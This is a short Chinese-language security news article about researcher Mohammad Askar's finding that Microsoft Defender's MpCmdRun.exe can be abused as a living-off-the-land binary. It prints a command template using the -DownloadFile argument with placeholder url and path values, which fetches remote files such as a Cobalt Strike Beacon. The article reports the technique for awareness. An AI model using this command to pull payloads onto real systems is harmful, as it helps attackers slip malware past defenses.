Microsoft Defender可被用来下载恶意程式

微软Microsoft Defender功能是协助防范恶意程式在终端装置上执行，但却有人发现，它也可以被用来下载恶意程式。

最新版Microsoft Defender的指令行工具MpCmdRun.exe做了更新，可让使用者从远端下载档案。但一名电脑玩家暨安全研究人员Mohammad Askar发现，MpCmdRun.exe可加入-DownloadFile的新引数（argument），让用户可以透过以下指令，从远端网站下载任何档案，包括恶意程式：MpCmdRun.exe -DownloadFile -url [url] -path [path_to_save_file]

他还示范了以此指令从远端网站下载Cobalt Strike Beacon木马程式。

恶意程式利用机器上的合法程式为掩护执行的手法，被称为离地攻击二进制档（living-off-the-land binaries，LoLBin）是现今新兴的骇客手法，一些Windows合法行程如msiexec.exe、unzip.exe、rundll32.exe、schtasks.exe和powershell.exe都相继被用来执行恶意程式。这项指令的滥用也可视为一种LoLBin攻击。

根据Bleeping Computer测试，4.18.2007.9 或4.18.2009.9版Microsoft/Windows Defender都加入这项功能。

所幸这项发现暂时不会影响Defender用户。Askar说这个指令仅能下载档案。此外，如果微软后端病毒特症状已经有此恶意程式的特征，则Microsoft Defender还是能及时拦阻不让它执行